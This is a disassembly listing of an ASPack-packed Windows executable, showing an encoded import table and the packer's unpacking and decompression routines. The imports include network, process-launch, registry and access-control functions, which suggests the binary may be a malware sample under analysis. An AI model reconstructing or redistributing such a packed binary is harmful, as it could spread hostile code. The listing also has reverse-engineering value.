		dd 6547015Dh, 72655674h, 6E6F6973h, 417845h, 6547015Fh
		dd 6C6F5674h, 49656D75h, 726F666Eh, 6974616Dh, 416E6Fh
		dd 65470165h, 6E695774h, 73776F64h, 65726944h, 726F7463h
		dd 4179h, 6C470168h, 6C61626Fh,	41646441h, 416D6F74h, 0
		dd 6C47016Ch, 6C61626Fh, 656C6544h, 74416574h, 6D6Fh, 6C47016Dh
		dd 6C61626Fh, 646E6946h, 6D6F7441h, 41h, 6C470176h, 6C61626Fh
		dd 6F6D654Dh, 74537972h, 73757461h, 0
		dd 6F430025h, 69467970h, 41656Ch, 6E490194h, 6C726574h
		dd 656B636Fh, 636E4964h, 656D6572h, 746Eh, 73490198h, 52646142h
		dd 50646165h, 7274h, 7349019Bh,	57646142h, 65746972h, 727450h
		dd 6F4C01A7h, 694C6461h, 72617262h, 4179h, 6F4C01ADh, 416C6163h
		dd 636F6C6Ch, 0
		dd 6F4C01B1h, 466C6163h, 656572h, 704F01D2h, 754D6E65h
		dd 41786574h, 0
		dd 704F01D4h, 72506E65h, 7365636Fh, 73h, 72430031h, 65746165h
		dd 656C6946h, 41h, 655201FAh, 69466461h, 656Ch,	7452020Eh
		dd 776E556Ch, 646E69h, 7452020Fh, 72655A6Ch, 6D654D6Fh
		dd 79726Fh, 6553023Ah, 6C694674h, 696F5065h, 7265746Eh
		dd 0
		dd 6553023Ch, 6C694674h, 6D695465h, 65h, 7243003Ch, 65746165h
		dd 6574754Dh, 4178h, 6C530264h,	706565h, 6554026Ch, 6E696D72h
		dd 50657461h, 65636F72h, 7373h,	69560285h, 61757472h, 6C6C416Ch
		dd 636Fh, 69560287h, 61757472h,	6572466Ch, 65h,	6956028Ch
		dd 61757472h, 6575516Ch, 7972h,	72430041h, 65746165h, 636F7250h
		dd 41737365h, 0
		dd 69570297h, 68436564h, 6F547261h, 746C754Dh, 74794269h
		dd 65h,	69570298h, 6578456Eh, 63h, 725702A2h, 46657469h
		dd 656C69h, 736C02C9h, 656C7274h, 416Eh, 736C02CAh, 656C7274h
		dd 576Eh, 72430047h, 65746165h,	65726854h, 6461h, 65440054h
		dd 6574656Ch, 656C6946h, 41h, 65470066h, 6E695774h, 54776F64h
		dd 41747865h, 0
		dd 6547006Bh, 6E695774h, 52776F64h, 746365h, 69460070h
		dd 6957646Eh, 776F646Eh, 41h, 65470074h, 6E695774h, 776F64h
		dd 6547000Eh, 616C4374h, 614E7373h, 41656Dh, 655300C4h
		dd 636F4674h, 7375h, 654700C9h,	726F4674h, 6F726765h, 57646E75h
		dd 6F646E69h, 77h, 6F4C0016h, 75436461h, 726F7372h, 41h
		dd 6F4C0018h, 63496461h, 416E6Fh, 655300FEh, 6D695474h
		dd 7265h, 65520002h, 74736967h,	6C437265h, 41737361h, 0
		dd 654D0134h, 67617373h, 786F4265h, 41h, 65470020h, 73654D74h
		dd 65676173h, 41h, 65470159h, 6E695774h, 4C776F64h, 41676E6Fh
		dd 0
		dd 6553015Bh, 6E695774h, 4C776F64h, 41676E6Fh, 0
		dd 7243015Eh, 65746165h, 6B736544h, 41706F74h, 0
		dd 65530165h, 72685474h, 44646165h, 746B7365h, 706Fh, 65470166h
		dd 72685474h, 44646165h, 746B7365h, 706Fh, 72540024h, 6C736E61h
		dd 4D657461h, 61737365h, 6567h,	69440025h, 74617073h, 654D6863h
		dd 67617373h, 4165h, 65530030h,	654D646Eh, 67617373h, 4165h
		dd 737701EAh, 6E697270h, 416674h, 6F50003Dh, 75517473h
		dd 654D7469h, 67617373h, 65h, 6853004Bh, 6957776Fh, 776F646Eh
		dd 0
		dd 7243004Fh, 65746165h, 646E6957h, 7845776Fh, 41h, 65440051h
		dd 6F727473h, 6E695779h, 776F64h, 6F4D0056h, 69576576h
		dd 776F646Eh, 0
		dd 6544005Bh, 6E695766h, 50776F64h, 41636F72h, 0
		dd 6143005Dh, 69576C6Ch, 776F646Eh, 636F7250h, 41h, 65470089h
		dd 6F745374h, 624F6B63h, 7463656Ah, 0
		dd 655300CAh, 436B4274h, 726F6C6Fh, 0
		dd 655300DDh, 78655474h, 6C6F4374h, 726Fh, 724300FAh, 65746165h
		dd 73757242h, 646E4968h, 63657269h, 74h, 7243001Ch, 65746165h
		dd 746E6F46h, 41h, 704F0018h, 72506E65h, 7365636Fh, 6B6F5473h
		dd 6E65h, 6547001Ah, 6B6F5474h,	6E496E65h, 6D726F66h, 6F697461h
		dd 6Eh,	65520171h, 65724367h, 4B657461h, 78457965h, 41h
		dd 65520174h, 6F6C4367h, 654B6573h, 79h, 65520179h, 65704F67h
		dd 79654B6Eh, 417845h, 65520184h, 65755167h, 61567972h
		dd 4565756Ch, 4178h, 65520190h,	74655367h, 756C6156h, 41784565h
		dd 0
		dd 654701CAh, 63655374h, 74697275h, 666E4979h, 6Fh, 655301CDh
		dd 63655374h, 74697275h, 666E4979h, 6Fh, 655301D4h, 746E4574h
		dd 73656972h, 63416E49h, 416Ch,	6547004Ah, 64695374h, 6E656449h
		dd 69666974h, 75417265h, 726F6874h, 797469h, 6547004Bh
		dd 64695374h, 41627553h, 6F687475h, 79746972h, 0
		dd 6547004Ch, 64695374h, 41627553h, 6F687475h, 79746972h
		dd 6E756F43h, 74h, 695F00E8h, 616F74h, 5F5F0018h, 4D746547h
		dd 416E6961h, 736772h, 735F0181h, 7065656Ch, 0
		dd 735F01A6h, 63697274h, 706Dh,	626101F6h, 73h,	7865020Ah
		dd 7469h, 656D0253h, 706D636Dh,	0
		dd 656D0254h, 7970636Dh, 0
		dd 656D0256h, 7465736Dh, 0
		dd 61720260h, 657369h, 61720261h, 646Eh, 6973026Ah, 6C616E67h
		dd 0
		dd 7073026Dh, 746E6972h, 66h, 7273026Fh, 646E61h, 73730270h
		dd 666E6163h, 0
		dd 74730271h, 74616372h, 0
		dd 74730272h, 72686372h, 0
		dd 7473027Bh, 6D636E72h, 70h, 41454C4Fh, 32335455h, 4C4C442Eh
		dd 0
		dd offset off_426000
aWininet_dll	db 'WININET.DLL',0
		dd offset off_426014
		dd offset off_426014
aOle32_dll	db 'ole32.DLL',0
		align 4
		dd offset off_426028
		dd offset off_426028
		dd offset off_426028
		dd offset off_426028
aKernel32_dll_3	db 'KERNEL32.DLL',0
		align 4
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
		dd offset off_42603C
aUser32_dll_0	db 'USER32.DLL',0
		align 4
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
		dd offset off_426050
aGdi32_dll	db 'GDI32.DLL',0
		align 4
		dd offset off_426064
		dd offset off_426064
		dd offset off_426064
		dd offset off_426064
		dd offset off_426064
aAdvapi32_dll_0	db 'ADVAPI32.DLL',0
		align 10h
		dd offset off_426078
		dd offset off_426078
		dd offset off_426078
		dd offset off_426078
		dd offset off_426078
		dd offset off_426078
		dd offset off_426078
		dd offset off_426078
		dd offset off_426078
		dd offset off_426078
		dd offset off_426078
		dd offset off_426078
		dd offset off_426078
aCrtdll_dll	db 'CRTDLL.DLL',0
		align 10h
		dd offset off_42608C
		dd offset off_42608C
		dd offset off_42608C
		dd offset off_42608C
		dd offset off_42608C
		dd offset off_42608C
		dd offset off_42608C
		dd offset off_42608C
		dd offset off_42608C
		dd offset off_42608C
		dd offset off_42608C
		dd offset off_42608C
		dd offset off_42608C
		dd offset off_42608C
		dd offset off_42608C
		dd offset off_42608C
		dd offset off_42608C
		dd offset off_42608C
		align 10h
_idata		ends

; Section 5. (virtual address 00027000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00027000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_aspack		segment	para public 'CODE' use32
		assume cs:_aspack
		;org 427000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		db 90h
; ---------------------------------------------------------------------------
		pusha
		call	sub_427577
		jmp	short loc_427055
; ---------------------------------------------------------------------------
		align 4
		dd 0D9000000h, 4873h, 90DB8700h, 6 dup(0)
		dd 2700001h, 0AE000000h, 0AD000000h, 809A5100h,	809AE47Ch
		dd 7Ch,	3 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_427055:				; CODE XREF: .aspack:00427007j
		mov	ebx, offset dword_4439A4
		add	ebx, ebp
		sub	ebx, dword ptr ss:byte_4439D5[ebp]
		cmp	ss:dword_444804[ebp], 0
		mov	ss:dword_444804[ebp], ebx
		jnz	loc_4274DB
		lea	eax, dword_44480C[ebp]
		push	eax
		call	dword ptr ss:(loc_444917+1)[ebp]
		mov	ss:dword_444808[ebp], eax
		mov	edi, eax
		lea	ebx, byte_444819[ebp]
		push	ebx
		push	eax
		call	dword ptr ss:(loc_444913+1)[ebp]
		mov	ss:dword_4439E1[ebp], eax
		lea	ebx, word_444826[ebp]
		push	ebx
		push	edi
		call	dword ptr ss:(loc_444913+1)[ebp]
		mov	ss:dword_4439E5[ebp], eax
		lea	eax, dword_443B72[ebp]
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h
		dd 40h,	2 dup(0)
		dd 60000000h, 12190002h, 2 dup(0)
		dd 10000000h, 6E880000h, 0A0000000h, 0B4980001h, 60000000h
		dd 0FF80002h, 36h dup(0)
		dd 9D8B0000h, 443A66h, 0A74DB0Bh, 8587038Bh, 443A6Ah, 0B58D0389h
		dd 443A82h, 0F003E83h, 11D84h, 82B58D00h, 6A00443Ah, 10006804h
		dd 680000h, 6A000018h, 0E195FF00h, 89004439h, 4439DD85h
		dd 4468B00h, 10E05h, 68046A00h,	1000h, 0FF006A50h, 4439E195h
		dd 0D9858900h, 56004439h, 9D031E8Bh, 444804h, 39DDB5FFh
		dd 76FF0044h, 0E8535004h, 339h,	39D4BD80h, 75000044h, 0D485FE5Ch
		dd 8B004439h, 4BD033Eh,	0FF004448h, 0C307C637h,	78FD7FFh
		dd 53565150h, 0E983C88Bh, 0D9B58B06h, 33004439h, 74C90BDBh
		dd 0E83CAC2Ch, 0EB0A74h, 474E93Ch, 0EDEB4943h, 0EB068Bh
		dd 75013E80h, 0C10024F3h, 0C32B18C0h, 0C3830689h, 4C68305h
		dd 0EB05E983h, 595E5BD0h, 8BC88B58h, 4BD033Eh, 8B004448h
		dd 4439D9B5h, 2F9C100h,	0C88BA5F3h, 0F303E183h,	685EA4h
		dd 6A000080h, 0D9B5FF00h, 0FF004439h, 4439E595h, 8C68300h
		dd 0F003E83h, 0FFFF2885h, 800068FFh, 6A0000h, 39DDB5FFh
		dd 95FF0044h, 4439E5h, 3A669D8Bh, 0DB0B0044h, 38B0874h
		dd 3A6A8587h, 958B0044h, 444804h, 3A62858Bh, 0D02B0044h
		dd 0C28B7974h, 3310E8C1h, 6EB58BDBh, 300443Ah, 444804B5h
		dd 3E8300h, 4E8B6174h, 8E98304h, 3E8BE9D1h, 4804BD03h
		dd 0C6830044h, 1E8B6608h, 830CEBC1h, 0C7401FBh,	7402FB83h
		dd 3FB8316h, 2CEB2074h,	811E8B66h, 0FFFE3h, 4016600h, 661DEB1Fh
		dd 0E3811E8Bh, 0FFFh, 1F140166h, 8B660EEBh, 0FFE3811Eh
		dd 100000Fh, 0EB1F14h, 0FF0E8366h, 0E202C683h, 8B9AEBB4h
		dd 44480495h, 0ADB58B00h, 0B004439h, 31174F6h, 0C00BADF2h
		dd 0C2030A74h, 0AD66F88Bh, 0F1EBAB66h, 3A72B58Bh, 958B0044h
		dd 444804h, 468BF203h, 0FC0850Ch, 10A84h, 8BC20300h, 95FF50D8h
		dd 444918h, 775C085h, 1C95FF53h, 89004449h, 4439B185h
		dd 0B585C700h, 4439h, 8B000000h, 44480495h, 85068B00h
		dd 8B0375C0h, 0C2031046h, 39B58503h, 188B0044h,	3107E8Bh
		dd 0B5BD03FAh, 85004439h, 0A2840FDBh, 0F7000000h, 0C3h
		dd 3047580h, 534343DAh,	0FFFFE381h, 0FF537FFFh,	4439B1B5h
		dd 1495FF00h, 85004449h, 6F755BC0h, 0C3F7h, 19758000h
		dd 0C468B57h, 48048503h, 53500044h, 487F858Dh, 57500044h
		dd 99E9h, 0FFE38100h, 8B7FFFFFh, 44480885h, 0B1853900h
		dd 75004439h, 0D38B5724h, 2E2C14Ah, 39B19D8Bh, 7B8B0044h
		dd 3B7C8B3Ch, 3B5C0378h, 13048B1Ch, 39B18503h, 0EB5F0044h
		dd 468B5716h, 485030Ch,	50004448h, 0D0858D53h, 50004448h
		dd 894BEB57h, 0B5858307h, 4004439h, 0FFFF32E9h,	890689FFh
		dd 46890C46h, 14C68310h, 4804958Bh, 0EBE90044h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4274DB:				; CODE XREF: .aspack:0042706Fj
		mov	eax, dword ptr ss:(locret_443A74+2)[ebp]
		push	eax
		add	eax, ss:dword_444804[ebp]
		pop	ecx
		or	ecx, ecx
		mov	dword ptr ss:byte_443EA1[ebp], eax
		popa
		jnz	short loc_4274FC
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4274FC:				; CODE XREF: .aspack:004274F2j
		push	offset sub_401219
		retn
; ---------------------------------------------------------------------------
		mov	eax, ss:dword_444808[ebp]
		lea	ecx, byte_444841[ebp]
		push	ecx
		push	eax
		call	dword ptr ss:(loc_444913+1)[ebp]
		mov	ss:dword_4439ED[ebp], eax
		lea	eax, dword_444851[ebp]
		push	eax
		call	dword ptr ss:(loc_44491B+1)[ebp]
		mov	ss:dword_44484D[ebp], eax
		lea	ecx, dword_44485C[ebp]
		push	ecx
		push	eax
		call	dword ptr ss:(loc_444913+1)[ebp]
		mov	ss:dword_4439F1[ebp], eax
		mov	eax, ss:dword_44484D[ebp]
		lea	ecx, loc_444868[ebp]
		push	ecx
		push	eax
		call	dword ptr ss:(loc_444913+1)[ebp]
		call	eax
		add	esp, 10h
		pop	edi
		push	30h
		lea	ebx, (loc_444871+1)[ebp]
		push	ebx
		push	edi
		push	0
		call	ss:dword_4439F1[ebp]
		push	0FFFFFFFFh
		call	ss:dword_4439ED[ebp]

; =============== S U B	R O U T	I N E =======================================



sub_427577	proc near		; CODE XREF: .aspack:00427002p
		mov	ebp, [esp+0]
		sub	ebp, offset byte_4439AB
		retn
sub_427577	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+10h]
		sub	esp, 354h
		lea	ecx, [esp+4]
		push	eax
		call	sub_42793D
		mov	ecx, [esp+35Ch]
		mov	edx, [esp+358h]
		push	ecx
		push	edx
		lea	ecx, [esp+0Ch]
		call	sub_4279BB
		test	al, al
		jnz	short loc_4275BC
		or	eax, 0FFFFFFFFh
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_4275BC:				; CODE XREF: .aspack:004275B0j
		mov	ecx, [esp+360h]
		lea	eax, [esp]
		push	eax
		push	ecx
		lea	ecx, [esp+0Ch]
		call	sub_427BC0
		test	al, al
		jnz	short loc_4275DF
		or	eax, 0FFFFFFFFh
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_4275DF:				; CODE XREF: .aspack:004275D3j
		mov	eax, [esp]
		add	esp, 354h
		retn	10h
; ---------------------------------------------------------------------------
		align 4
		dd 4030201h, 8070605h, 100E0C0Ah, 201C1814h, 40383028h
		dd 80706050h, 0E0C0A0h,	0
		dd 1000000h, 2010101h, 3020202h, 4030303h, 5040404h, 50505h
		dd 1000000h, 3020201h, 5040403h, 7060605h, 9080807h, 0B0A0A09h
		dd 0D0C0C0Bh, 0F0E0E0Dh, 1110100Fh, 3 dup(11111111h), 12121211h
		dd 12121212h
		db 12h

; =============== S U B	R O U T	I N E =======================================



sub_42765D	proc near		; CODE XREF: sub_427A1C+13p
					; sub_427A1C+30p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	edx, ecx
		push	esi
		mov	ecx, 8
		push	edi
		cmp	[edx+4], ecx
		jb	short loc_4276A1
		push	ebx
		mov	esi, 0FFFFFFF8h


loc_427672:				; CODE XREF: sub_42765D+41j
		mov	eax, [edx]
		mov	bl, [eax]
		inc	eax
		mov	byte ptr [esp+10h+var_4], bl
		mov	[edx], eax
		mov	eax, [edx+8]
		mov	edi, [esp+10h+var_4]
		shl	eax, 8
		and	edi, 0FFh
		or	eax, edi
		mov	edi, [edx+4]
		add	edi, esi
		mov	[edx+8], eax
		mov	eax, edi
		mov	[edx+4], edi
		cmp	eax, ecx
		jnb	short loc_427672
		pop	ebx


loc_4276A1:				; CODE XREF: sub_42765D+Dj
		mov	esi, [edx+4]
		mov	eax, [edx+8]
		mov	edi, [esp+0Ch+arg_0]
		sub	ecx, esi
		shr	eax, cl
		mov	ecx, 18h
		sub	ecx, edi
		and	eax, 0FFFFFFh
		shr	eax, cl
		add	esi, edi
		pop	edi
		mov	[edx+4], esi
		pop	esi
		pop	ecx
		retn	4
sub_42765D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4276C8	proc near		; CODE XREF: sub_42793D+3Ep
					; sub_42793D+4Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	edx, [esp+arg_4]
		mov	[ecx+84h], eax
		mov	[ecx+88h], edx
		lea	eax, [edx+eax*4]
		mov	[ecx+8Ch], eax
		add	eax, 100h
		retn	8
sub_4276C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4276ED	proc near		; CODE XREF: sub_427A1C+4Cp
					; sub_427A1C+F7p ...

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
arg_0		= dword	ptr  4

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		mov	edx, ecx
		push	edi
		mov	ecx, 0Fh
		mov	ebp, [edx+84h]
		xor	eax, eax
		lea	edi, [esp+0A8h+var_7C]
		xor	esi, esi
		rep stosd
		mov	edi, [esp+0A8h+arg_0]
		cmp	ebp, esi
		mov	[esp+0A8h+var_88], edx
		jbe	short loc_427732


loc_42771D:				; CODE XREF: sub_4276ED+43j
		xor	ecx, ecx
		mov	cl, [eax+edi]
		mov	ebx, [esp+ecx*4+0A8h+var_80]
		lea	ecx, [esp+ecx*4+0A8h+var_80]
		inc	ebx
		inc	eax
		cmp	eax, ebp
		mov	[ecx], ebx
		jb	short loc_42771D


loc_427732:				; CODE XREF: sub_4276ED+2Ej
		mov	ecx, 17h
		mov	[esp+0A8h+var_80], esi
		mov	[edx+4], esi
		mov	[edx+44h], esi
		mov	[esp+0A8h+var_40], esi
		xor	edi, edi
		mov	[esp+0A8h+var_8C], esi
		mov	[esp+0A8h+var_98], 1
		mov	[esp+0A8h+var_90], ecx
		lea	ebp, [edx+8]
		mov	[esp+0A8h+var_94], esi


loc_42775E:				; CODE XREF: sub_4276ED+109j
		mov	eax, [esp+esi+0A8h+var_7C]
		shl	eax, cl
		add	edi, eax
		cmp	edi, 1000000h
		mov	[esp+0A8h+var_84], edi
		ja	loc_427804
		mov	eax, [esp+esi+0A8h+var_80]
		mov	[ebp+0], edi
		mov	ebx, [ebp+3Ch]
		add	eax, ebx
		cmp	ecx, 10h
		mov	[ebp+40h], eax
		mov	[esp+esi+0A8h+var_3C], eax
		jl	short loc_4277DB
		mov	esi, [ebp+0]
		mov	eax, [esp+0A8h+var_98]
		mov	ebx, [esp+0A8h+var_8C]
		mov	edi, [edx+8Ch]
		shr	esi, 10h
		mov	ecx, esi
		and	eax, 0FFh
		sub	ecx, ebx
		add	edi, ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		mov	[esp+0A8h+var_8C], esi
		mov	eax, ebx
		mov	esi, [esp+0A8h+var_94]
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+0A8h+var_88]
		and	ecx, 3
		rep stosb
		mov	edi, [esp+0A8h+var_84]
		mov	ecx, [esp+0A8h+var_90]


loc_4277DB:				; CODE XREF: sub_4276ED+9Fj
		mov	eax, [esp+0A8h+var_98]
		add	esi, 4
		inc	eax
		dec	ecx
		add	ebp, 4
		cmp	ecx, 9
		mov	[esp+0A8h+var_98], eax
		mov	[esp+0A8h+var_90], ecx
		mov	[esp+0A8h+var_94], esi
		jge	loc_42775E
		cmp	edi, 1000000h
		jz	short loc_427813


loc_427804:				; CODE XREF: sub_4276ED+83j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 98h
		retn	4
; ---------------------------------------------------------------------------


loc_427813:				; CODE XREF: sub_4276ED+115j
		mov	eax, [edx+84h]
		xor	ecx, ecx
		test	eax, eax
		jbe	short loc_42785A
		mov	esi, [esp+0A8h+arg_0]


loc_427826:				; CODE XREF: sub_4276ED+16Bj
		mov	al, [ecx+esi]
		test	al, al
		jz	short loc_42784F
		mov	edi, [edx+88h]
		and	eax, 0FFh
		mov	eax, [esp+eax*4+0A8h+var_40]
		mov	[edi+eax*4], ecx
		xor	eax, eax
		mov	al, [ecx+esi]
		mov	edi, [esp+eax*4+0A8h+var_40]
		lea	eax, [esp+eax*4+0A8h+var_40]
		inc	edi
		mov	[eax], edi


loc_42784F:				; CODE XREF: sub_4276ED+13Ej
		mov	eax, [edx+84h]
		inc	ecx
		cmp	ecx, eax
		jb	short loc_427826


loc_42785A:				; CODE XREF: sub_4276ED+130j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 98h
		retn	4
sub_4276ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_427869	proc near		; CODE XREF: sub_427A1C+64p
					; sub_427BC0+28p ...

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi]
		cmp	dword ptr [eax+4], 8
		jb	short loc_4278A7


loc_427877:				; CODE XREF: sub_427869+3Cj
		mov	ecx, [eax]
		mov	dl, [ecx]
		inc	ecx
		mov	byte ptr [esp+10h+var_4], dl
		mov	[eax], ecx
		mov	ecx, [eax+8]
		mov	edx, [esp+10h+var_4]
		shl	ecx, 8
		and	edx, 0FFh
		or	ecx, edx
		mov	edx, [eax+4]
		add	edx, 0FFFFFFF8h
		mov	[eax+8], ecx
		mov	ecx, edx
		mov	[eax+4], edx
		cmp	ecx, 8
		jnb	short loc_427877


loc_4278A7:				; CODE XREF: sub_427869+Cj
		mov	edx, [eax+4]
		mov	eax, [eax+8]
		mov	ecx, 8
		sub	ecx, edx
		shr	eax, cl
		mov	ecx, [esi+24h]
		and	eax, 0FFFE00h
		cmp	eax, ecx
		jnb	short loc_4278D6
		mov	edx, [esi+8Ch]
		mov	ecx, eax
		shr	ecx, 10h
		xor	ebx, ebx
		mov	bl, [ecx+edx]
		mov	edx, ebx
		jmp	short loc_427911
; ---------------------------------------------------------------------------


loc_4278D6:				; CODE XREF: sub_427869+57j
		cmp	eax, [esi+2Ch]
		jnb	short loc_4278E5
		cmp	eax, [esi+28h]
		sbb	edx, edx
		add	edx, 0Ah
		jmp	short loc_427911
; ---------------------------------------------------------------------------


loc_4278E5:				; CODE XREF: sub_427869+70j
		cmp	eax, [esi+30h]
		jnb	short loc_4278F1
		mov	edx, 0Bh
		jmp	short loc_427911
; ---------------------------------------------------------------------------


loc_4278F1:				; CODE XREF: sub_427869+7Fj
		cmp	eax, [esi+34h]
		jnb	short loc_4278FD
		mov	edx, 0Ch
		jmp	short loc_427911
; ---------------------------------------------------------------------------


loc_4278FD:				; CODE XREF: sub_427869+8Bj
		cmp	eax, [esi+38h]
		jnb	short loc_427909
		mov	edx, 0Dh
		jmp	short loc_427911
; ---------------------------------------------------------------------------


loc_427909:				; CODE XREF: sub_427869+97j
		cmp	eax, [esi+3Ch]
		sbb	edx, edx
		add	edx, 0Fh


loc_427911:				; CODE XREF: sub_427869+6Bj
					; sub_427869+7Aj ...
		mov	ecx, [esi]
		mov	edi, [ecx+4]
		add	edi, edx
		mov	[ecx+4], edi
		mov	ebx, [esi+edx*4]
		mov	ecx, 18h
		sub	eax, ebx
		sub	ecx, edx
		pop	edi
		shr	eax, cl
		mov	ecx, [esi+edx*4+44h]
		add	eax, ecx
		mov	ecx, [esi+88h]
		pop	esi
		pop	ebx
		mov	eax, [ecx+eax*4]
		pop	ecx
		retn
sub_427869	endp


; =============== S U B	R O U T	I N E =======================================



sub_42793D	proc near		; CODE XREF: .aspack:00427590p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		xor	edx, edx
		xor	eax, eax
		lea	esi, [edi+268h]


loc_42794C:				; CODE XREF: sub_42793D+2Fj
		mov	[esi], edx
		push	esi
		call	sub_427BB2
		mov	cl, ds:byte_443FC7[eax+esi]
		pop	esi
		mov	ebx, 1
		add	esi, 4
		shl	ebx, cl
		add	edx, ebx
		inc	eax
		cmp	eax, 3Ah
		jb	short loc_42794C
		mov	eax, [esp+0Ch+arg_0]
		lea	ecx, [edi+10h]
		push	eax
		push	2D1h
		call	sub_4276C8
		push	eax
		push	1Ch
		lea	ecx, [edi+0A0h]
		call	sub_4276C8
		push	eax
		push	8
		lea	ecx, [edi+130h]
		call	sub_4276C8
		push	eax
		push	13h
		lea	ecx, [edi+1C0h]
		call	sub_4276C8
		mov	[edi+260h], eax
		pop	edi
		pop	esi
		add	eax, 2F5h
		pop	ebx
		retn	4
sub_42793D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4279BB	proc near		; CODE XREF: .aspack:004275A9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, ecx
		mov	ecx, [esp+arg_0]
		push	edi
		mov	[edx], eax
		lea	eax, [edx+4]
		mov	[eax], ecx
		mov	dword ptr [eax+4], 20h
		mov	[edx+10h], eax
		mov	[edx+0A0h], eax
		mov	[edx+130h], eax
		mov	[edx+1C0h], eax
		xor	eax, eax
		mov	ecx, 0BDh
		mov	[edx+250h], eax
		mov	[edx+254h], eax
		mov	[edx+258h], eax
		mov	edi, [edx+260h]
		mov	[edx+25Ch], eax
		rep stosd
		mov	ecx, edx
		stosb
		call	sub_427A1C
		pop	edi
		retn	8
sub_4279BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_427A1C	proc near		; CODE XREF: sub_4279BB+58p
					; sub_427BC0+267p

var_30C		= byte ptr -30Ch
var_2F9		= byte ptr -2F9h
var_2F8		= byte ptr -2F8h
var_27		= byte ptr -27h
var_B		= byte ptr -0Bh

		sub	esp, 30Ch
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		lea	ebp, [ebx+4]
		push	edi
		push	1
		mov	ecx, ebp
		call	sub_42765D
		test	eax, eax
		jnz	short loc_427A46
		mov	edi, [ebx+260h]
		mov	ecx, 0BDh
		rep stosd
		stosb


loc_427A46:				; CODE XREF: sub_427A1C+1Aj
		xor	esi, esi


loc_427A48:				; CODE XREF: sub_427A1C+3Dj
		push	4
		mov	ecx, ebp
		call	sub_42765D
		mov	[esp+esi+31Ch+var_30C],	al
		inc	esi
		cmp	esi, 13h
		jb	short loc_427A48
		lea	edi, [ebx+1C0h]
		lea	eax, [esp+31Ch+var_30C]
		push	eax
		mov	ecx, edi
		call	sub_4276ED
		test	al, al
		jnz	short loc_427A7C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 30Ch
		retn
; ---------------------------------------------------------------------------


loc_427A7C:				; CODE XREF: sub_427A1C+53j
		xor	esi, esi


loc_427A7E:				; CODE XREF: sub_427A1C+E9j
		mov	ecx, edi
		call	sub_427869
		cmp	eax, 10h
		jnb	short loc_427A9F
		mov	ecx, [ebx+260h]
		mov	dl, [ecx+esi]
		add	dl, al
		and	dl, 0Fh
		mov	[esp+esi+31Ch+var_2F8],	dl
		inc	esi
		jmp	short loc_427AFF
; ---------------------------------------------------------------------------


loc_427A9F:				; CODE XREF: sub_427A1C+6Cj
		jnz	short loc_427AC9
		push	2
		mov	ecx, ebp
		call	sub_42765D
		add	eax, 3
		test	eax, eax
		jle	short loc_427AFF


